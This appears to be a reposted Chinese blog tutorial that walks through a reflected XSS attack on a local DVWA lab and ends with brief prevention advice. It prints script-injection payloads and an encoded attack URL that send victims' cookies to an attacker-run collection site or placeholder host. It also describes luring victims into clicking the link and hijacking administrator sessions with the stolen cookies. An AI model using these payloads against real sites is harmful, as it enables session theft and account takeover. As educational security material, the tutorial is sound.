XSS攻击过程

Posted nianyuxue87

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS攻击过程相关的知识,希望对你有一定的参考价值。

大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。

1 角色分配

  • 有XXS漏洞的网站,IP地址http://127.0.0.1/dvwa/DVWA-master,php为开发语言
  • 受害访问者,浏览器为IE11
  • 黑客的数据接收网站,IP地址http://127.0.0.1/xsser/index.php,xsser.me平台

 

2 源码实例

2.1 漏洞网站

 

该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在(输入被写入html代码中并且返回展示);

比如在输入框中输入:<script src=http://127.0.0.1/xsser/HS8WzU></script>,点击提交,就把这样一段脚本注入到html中了;

网页的html脚本就变成了:

 

2.2 攻击方法
在输入框中输入如下攻击语句并提交:<script src=http://127.0.0.1/xsser/HS8WzU></script>

上面的src填写的接受地址,是由XSS平台生成(黑客接受网址):

 

PS:

如果是使用一个脚本来获取xss攻击的猎物,攻击语句为:

 "/> <script>window.open("http://黑客攻击平台的IP/xss_hacker.php?cookie="+document.cookie);</script><!--  

这里xss_hacker.php是攻击文件,放到攻击者黑客的网站服务器下。获取来的cookies写入到xss_hacker.php脚本中设置的txt文件中。

 

2.3 生成的url

最终生成的攻击URL为:

 http://127.0.0.1/dvwa/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F127.0.0.1%2Fxsser%2FHS8WzU%3E%3C%2Fscript%3E#

接下来要做的就是,寻找受害人,诱惑其点击上述URL;当有受害人点击了这个url就执行了html中的脚本将cookies返给黑客。

明显看出,这个html会去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站

 

2.4 获取猎物

xss平台的得到的cookie,如下:

黑客获取cookies之后使用特定的浏览器或者工具,访问论坛,并带着获取的cookies,就可以不用登陆即可以管理员账户登录论坛。(正常的浏览器不能伪造cookies除非使用插件)

 

备注:

对于一些论坛网站,黑客通过提交帖子往html中注入获取cookies的脚本,当管理员或者其他人点击帖子的时候,就执行了该脚本,获取管理员cookies,并且将cookies发送到黑客的网址。黑客获取cookies之后使用特定的浏览器或者工具,访问论坛,并带着获取的cookies,就可以不用登陆即可以管理员账户登录论坛。(正常的浏览器不能伪造cookies除非使用插件)

 

 

 

3 攻击流程:
1、黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL

2、构造攻击字符串

3、确定获取猎物的方式(xss平台或者自己写的脚本)

4、执行攻击

5、获取猎物:cookies或者用户名密码

6、利用获取的敏感数据做坏事(可以使用获取的cookies访问网址,不需要输入密码)。

 

4 XSS的预防

XSS的预防可以从多方面着手:

(1)如前面所述,浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;

(2)从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;

(3)对于普通网民,需要注意尽量抵挡诱惑,别去点击非知名网站的链接。

 

以上是关于XSS攻击过程的主要内容,如果未能解决你的问题,请参考以下文章

XSS基础学习

前端安全之XSS攻击

通过脚本片段绕过XSS防御

XSS 攻击的预防

其他前端安全XSS攻击

安全测试基础知识